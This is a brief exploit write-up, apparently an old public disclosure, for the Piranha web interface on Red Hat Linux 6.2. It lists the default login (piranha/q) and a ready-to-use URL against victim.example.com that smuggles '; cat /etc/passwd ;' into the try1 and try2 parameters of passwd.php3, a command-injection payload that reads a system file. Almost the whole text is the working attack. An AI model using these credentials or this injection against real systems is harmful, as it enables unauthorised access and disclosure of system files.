Exploit:
  The default username and password are:
  piranha, and q, respectively.

  Affected:
    RedHat Linux 6.2 i386

  Execute the following url, using a
  username and password to authenticate:

 http://victim.example.com/piranha/secure/passwd.php3

 Next, execute the following: (all in 1 line)

 http://victim.example.com/piranha/secure/passwd.php3?
 try1=g23+%3B+cat+%2Fetc%2Fpasswd+%3B&try2=g23+%3B+
 cat+%2Fetc%2Fpasswd+%3B&passwd=ACCEPT